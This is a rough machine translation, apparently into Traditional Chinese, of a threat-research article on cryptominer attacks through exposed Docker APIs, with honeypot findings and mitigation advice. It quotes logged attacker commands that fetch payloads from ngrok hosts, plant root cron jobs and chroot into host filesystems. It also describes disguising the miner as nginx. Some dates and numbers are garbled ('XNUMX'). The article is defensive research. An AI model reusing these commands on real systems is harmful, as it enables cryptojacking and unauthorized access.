我們分析了使用蜜罐容器收集的數據,我們創建蜜罐容器是為了追蹤威脅。 我們使用 Docker Hub 上社群發布的映像檢測到來自不需要或未經授權的加密貨幣礦工的重大活動,這些礦工部署為惡意容器。 該圖像用作提供惡意加密貨幣礦工的服務的一部分。
此外,還安裝了用於網路工作的程式來滲透開放的相鄰容器和應用程式。
我們將蜜罐保持原樣,即使用預設設置,沒有任何安全措施或隨後安裝其他軟體。 請注意,Docker 提供了初始設定建議,以避免錯誤和簡單漏洞。 但使用的蜜罐是容器,旨在偵測針對容器化平台的攻擊,而不是容器內的應用程式。
偵測到的惡意活動也值得注意,因為它不需要漏洞,並且與 Docker 版本無關。 攻擊者只需找到配置不正確且開放的容器映像即可感染許多開放伺服器。
未封閉的 Docker API 允許使用者執行多種操作
左邊是惡意軟體的傳遞方法。 右側是攻擊者的環境,允許遠端轉出影像。
3762 個開放 Docker API 按國家/地區分佈。 基於 12.02.2019 年 XNUMX 月 XNUMX 日的 Shodan 搜索
攻擊鍊和有效負載選項
惡意活動的檢測不僅需要蜜罐的幫助。 Shodan 的數據顯示,自從我們調查了一個配置錯誤的容器(用作部署 Monero 加密貨幣挖礦軟體的橋樑)以來,暴露的 Docker API 的數量(請參閱第二張圖)有所增加。 去年2018月(XNUMX年,目前數據
對蜜罐日誌的檢查表明,容器映像的使用也與
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
正如你所看到的,上傳的檔案是從不斷變化的URL下載的。 這些 URL 的有效期限很短,因此在到期日之後無法下載有效負載。
有兩個有效負載選項。 第一個是用於 Linux 的已編譯 ELF 礦工(定義為 Coinminer.SH.MALXMR.ATNO),連接到礦池。 第二個是腳本(TrojanSpy.SH.ZNETMAP.A),旨在取得某些網路工具,用於掃描網路範圍,然後搜尋新目標。
Dropper 腳本設定兩個變量,然後用於部署加密貨幣挖掘器。 HOST變數包含惡意檔案所在的URL,RIP變數是要部署的礦工的檔案名稱(實際上是哈希值)。 每次哈希變數發生變化時,HOST 變數都會改變。 該腳本還嘗試檢查受攻擊的伺服器上是否沒有其他加密貨幣礦工正在運行。
HOST 和 RIP 變數的範例,以及用於檢查沒有其他礦工正在運行的程式碼片段
在啟動礦工之前,將其重命名為 nginx。 該腳本的其他版本將礦工重命名為 Linux 環境中可能存在的其他合法服務。 這通常足以繞過對正在運行的進程清單的檢查。
搜尋腳本也有特色。 它使用相同的 URL 服務來部署必要的工具。 其中包括 zmap 二進位文件,它用於掃描網路並獲取開放連接埠清單。 該腳本還會載入另一個二進位文件,該文件用於與找到的服務進行互動並從它們接收橫幅以確定有關找到的服務的其他資訊(例如其版本)。
該腳本還預先確定了一些要掃描的網路範圍,但這取決於腳本的版本。 它還在執行掃描之前設定服務(在本例中為 Docker)的目標連接埠。
一旦發現可能的目標,橫幅就會自動從其中刪除。 該腳本還根據感興趣的服務、應用程式、元件或平台過濾目標:Redis、Jenkins、Drupal、MODX、
攻擊向量是 Docker 映像,如接下來的兩段程式碼所示。
頂部是重命名為合法服務,底部是如何使用 zmap 掃描網絡
頂部是預先定義的網路範圍,底部是用於搜尋服務的特定端口,包括 Docker
截圖顯示alpine-curl圖片下載量已超過10萬次
基於Alpine Linux和curl(一種資源高效的CLI工具,用於透過各種協定傳輸檔案),您可以構建
需要注意的是,該圖像(alpine-curl)本身並不是惡意的,但正如您在上面所看到的,它可用於執行惡意功能。 類似的 Docker 映像也可用於執行惡意活動。 我們聯繫了 Docker 並與他們一起解決這個問題。
建議
本文討論的事件凸顯了從一開始就考慮安全的必要性,包括以下建議:
- 對於系統管理員和開發人員:請務必檢查您的 API 設置,以確保所有內容都配置為僅接受來自特定伺服器或內部網路的請求。
- 遵循最小權限原則:確保容器鏡像經過簽名和驗證,限制對關鍵組件(容器啟動服務)的訪問,並對網路連接添加加密。
- 跟隨
雷科門達斯尼亞姆 並啟用安全機制,例如來自 Docker 和內建安全特性 . - 使用運行時和映像的自動掃描來獲取有關容器中運行的進程的其他資訊(例如,檢測欺騙或搜尋漏洞)。 應用程式控制和完整性監控有助於追蹤伺服器、檔案和系統區域的異常變更。
趨勢科技幫助 DevOps 團隊安全建置、快速部署並在任何地方啟動。 趨勢科技
妥協的跡象
相關哈希值:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
上
來源: www.habr.com